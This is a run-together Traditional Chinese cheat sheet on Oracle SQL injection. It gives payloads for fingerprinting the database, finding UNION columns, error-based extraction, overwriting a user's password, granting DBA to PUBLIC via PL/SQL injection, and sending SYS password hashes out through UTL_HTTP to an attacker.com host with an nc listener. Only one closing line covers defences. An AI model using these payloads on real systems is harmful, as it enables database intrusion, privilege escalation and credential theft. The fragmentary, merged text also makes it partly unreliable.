-- 單行註釋,不支援 ; 多語句分隔。id=1-- 正常 / id=1;SELECT 1 報錯||。AND CHR(123)||CHR(123)=CHR(123)||CHR(123) 若成功 → 高度疑似 OracleALL_TABLES、DUAL 為 Oracle 特有。AND (SELECT COUNT(*) FROM ALL_TABLES)>0ORA-XXXXX、PLS-XXXXX,明確洩露資料庫型別。| 類型 | 參數範例 | 閉合方式 | 難點 |
|---|---|---|---|
| 數字型 | id=123 | 1 AND 1=1 -- | 無引號干擾,最簡單 |
| 字串型 | name=abc | ' AND '1'='1 -- | 需處理單引號、PHP addslashes 轉義 |
| 搜尋型 (LIKE) | q=keyword | '% UNION SELECT ... -- | 屬字串型變體,需閉合 % 通配符 |
核心原則:構造一個**語法完整、邏輯可控**的注入環境,只需一個可插入任意 SQL 的缺口。
AND (SELECT COUNT(*) FROM DBA_TABLES)>0 成功 → 為 DBA。SELECT ANY TABLE,可直接查詢他人表。SELECT USER FROM DUAL、SYS_CONTEXT('USERENV','CURRENT_USER')。ORDER BY n 猜欄位數 → UNION SELECT NULL,NULL,'MARK',NULL... 定位可回顯欄位 → 替換 'MARK' 為敏感查詢。UTL_INADDR.GET_HOST_NAME、CTXSYS.DRITHSX.SN 等函數將資料放入錯誤訊息。UPDATE users SET password='hacked' WHERE id=1 → 登入後台。INSERT INTO log (msg) VALUES ((SELECT password FROM dba_users WHERE username='SYS')) → 再查詢 log 表讀取。輸入置於 BEGIN ... END; 間 → 可直接執行多語句、DDL、EXECUTE IMMEDIATE、UTL_HTTP、**幾乎無限制**。
'; EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; --
'; BEGIN UTL_HTTP.REQUEST('https://attacker.com/?data='||(SELECT password FROM sys.user$ WHERE name='SYS')); END; --
| 目標 | 關鍵系統表/視圖 | 查詢範例 |
|---|---|---|
| 所有表結構 | ALL_TABLES, ALL_TAB_COLUMNS | SELECT table_name FROM all_tables WHERE owner='SCOTT' |
| 密碼雜湊 | DBA_USERS (11g+), SYS.USER$ (10g-) | SELECT name, password FROM sys.user$ WHERE name='SYS' |
| PL/SQL 原始碼 | ALL_SOURCE | SELECT text FROM all_source WHERE name='PKG_SENSITIVE' |
| 網路 ACL | DBA_NETWORK_ACLS | 判斷 UTL_HTTP 是否可連外 |
| Java 權限 | DBA_JAVA_POLICY | 判斷 SOCKET/FILE 權限 |
ORDER BY 10 → 錯誤 → ORDER BY 5 → 正常 → 二分法鎖定 (例:7 欄)。UNION SELECT NULL,NULL,'TEST',NULL,NULL,NULL,NULL FROM DUAL → 觀察頁面哪個位置出現 TEST。NULL 可匹配任意類型,先用全 NULL 通過類型檢查,再逐個替換為實際查詢。SUBSTR、DBMS_LOB.SUBSTR 截取、或分多次 Union 外帶。FROM DUAL (單列虛表)。
-- 攻擊者: nc -lvp 8080
SELECT UTL_HTTP.REQUEST('https://attacker.com:8080/?data='||UTL_RAW.CAST_TO_VARCHAR2(DBMS_LOB.SUBSTR((SELECT password FROM sys.user$ WHERE name='SYS'),2000,1))) FROM DUAL;
優勢:不需 Union、不需回顯欄位、可大量外帶、可驗證資料庫出網能力與出口 IP。
UTL_HTTP, UTL_FILE, DBMS_SQL, DBMS_LOB, JAVA) → 攻擊面極大NULL 型別通配 + DUAL → Union 構造極簡單防禦核心:參數化查詢 + 最小權限 + 撤銷 PUBLIC 高風險套件執行權 + WAF + 統一錯誤頁面 + 定期滲透測試。